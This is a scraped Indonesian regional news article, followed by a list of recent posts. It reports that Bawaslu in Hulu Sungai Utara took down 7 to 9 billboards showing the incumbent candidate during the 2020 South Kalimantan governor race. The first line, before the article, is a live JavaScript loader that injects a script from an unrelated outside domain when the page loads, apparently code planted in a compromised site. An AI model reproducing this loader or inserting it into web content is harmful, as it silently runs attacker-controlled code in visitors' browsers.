(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Pilgub Kalsel

Melanggar Aturan, Baliho Bergambar Petahana Diturunkan


KANALKALIMANTAN.COM, AMUNTAI – Dinilai melanggar aturan, Badan Pengawas Pemilu (Bawaslu) Kabupaten Hulu Sungai Utara (HSU) menertibkan baliho program pemerintah yang memuat foto petahana.

Hal ini sesuai dengan Peraturan KPU Nomor 4 Tahun 2017 tentang kampanye terdapat larangan berkampanye dengan menggunakan program pemerintah.

Seperti diketahui, Pilgub Kalsel tahun 2020 menghadirkan dua pasangan calon, yakni pasangan calon (Paslon) nomor urut satu H Sahbirin Noor-Muhidin dan pasangan calon nomor urut dua Denny Indrayana-Difriadi Darjat.

Pada 23 september 2020 lalu, H Sahbirin Noor resmi ditetapkan sebagai calon Gubernur sehingga secara otomatis baliho dan spanduk yang memuat foto dirinya harus diturunkan.

“Totalnya tidak pasti, sekitar 7 sampai 9 buah baliho (yang memuat foto petahana),” ungkap Koordinator Divisi Hukum dan Penanganan Pelanggaran Bawaslu HSU Khairil kepada KanalKalimantan.com, ditanya mengenai jumlah spanduk/baleho yang ditertibkan, Minggu (4/10/2020).

Sementara dalam penertiban malam kemarin, Jumat (3/10/2020), Khairil menyebut Bawaslu HSU melibatkan Kepolisian, TNI, serta Satpol PP di beberapa titik penurunan baliho, seperti di Depan Mesjid At Taqwa, kawasan Kelurahan Antasari, Banua Lima, Muara Tapus hingga kelurahan Sungai Malang.

“Baliho maupun spanduk yang memuat foto petahana semuanya adalah bentuk kampanye, sedangkan tahapan masa kampanye itu sendiri sudah ditentukan waktunya oleh KPU, tahapan kampanye sudah masuk sejak 26 September lalu, sehingga harus ditertibkan, tentunya hal tersebut telah kami koordinasikan dengan Satpol PP, Kepolisian dan TNI,” kata Ketua Bawaslu HSU Syardani.

Bawaslu Kabupaten HSU gencar sosialisasikan tentang netralitas Aparatur Sipil Negara (ASN) untuk mewujudkan pemilu yang berintegritas. (kanalkalimantan.com/dew)

 

Reporter: Dew
Editor : Bie


Desy Arfianty

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

14 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

15 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

15 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

15 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

20 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

20 jam ago

This website uses cookies.